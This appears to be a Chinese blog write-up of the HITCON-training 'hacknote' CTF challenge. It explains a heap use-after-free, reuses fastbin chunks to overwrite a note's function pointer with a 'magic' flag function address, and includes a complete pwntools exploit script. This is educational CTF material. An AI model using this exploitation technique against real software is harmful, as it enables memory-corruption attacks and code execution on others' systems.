【堆漏洞-Use after free】

Use After Free

原理

释放堆时没有将堆指针设为NULL,使得可以继续使用这个堆指针操作空中(执行或修改)释放堆中的内容

实例 - HITCON-training hacknote

函数分析

  1. add_note:创建堆,结构由put指针和content指针构成,put指针指向一个打印函数,content指向堆内容,同时为堆添加内容
  2. print_note:打印堆的content内容
  3. delete_note:free 堆结构指针和content堆指针,但并未给指针设为NULL
堆结构
struct note{
	int* put;
	char* content;
}

利用思路

程序中有一个magic函数,可以直接获取到flag,但是如何才能执行magic函数?我们知道堆结构中的put指向一个函数,那么如果我们能修改put指针使其指向magic函数的话,我们print_note的时候就可以指向magic了

具体思路

每创建一个note会实际创建两个堆,大概结构如下

   +-----------------+   <-- note                    
   |   put           |                       
   +-----------------+                       
   |   content       |       size              
   +-----------------+------------------->+----------------+  <-- content
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+

  1. 创建两个堆note0,note1,且content堆的size(可以是0x10)要与堆结构的大小 (0x8) 不同
  2. 释放两个堆note0,note1,此时大小为0x10的fast bin链表中就存放了note0<-note1
  3. 再创建一个0x8的content堆,即note2(和堆结构大小相同),note2会被分配到note1的位置,而content堆会被分配到note0的位置
  4. 只需要向note2的content(也是note0)写入magic函数地址,因为note0指针还存在,那么我们继续操作(打印)note0就可以指向magic函数

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa")
addnote(32, "ddaa")

delnote(0)
delnote(1)

addnote(8, p32(magic))

printnote(0)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值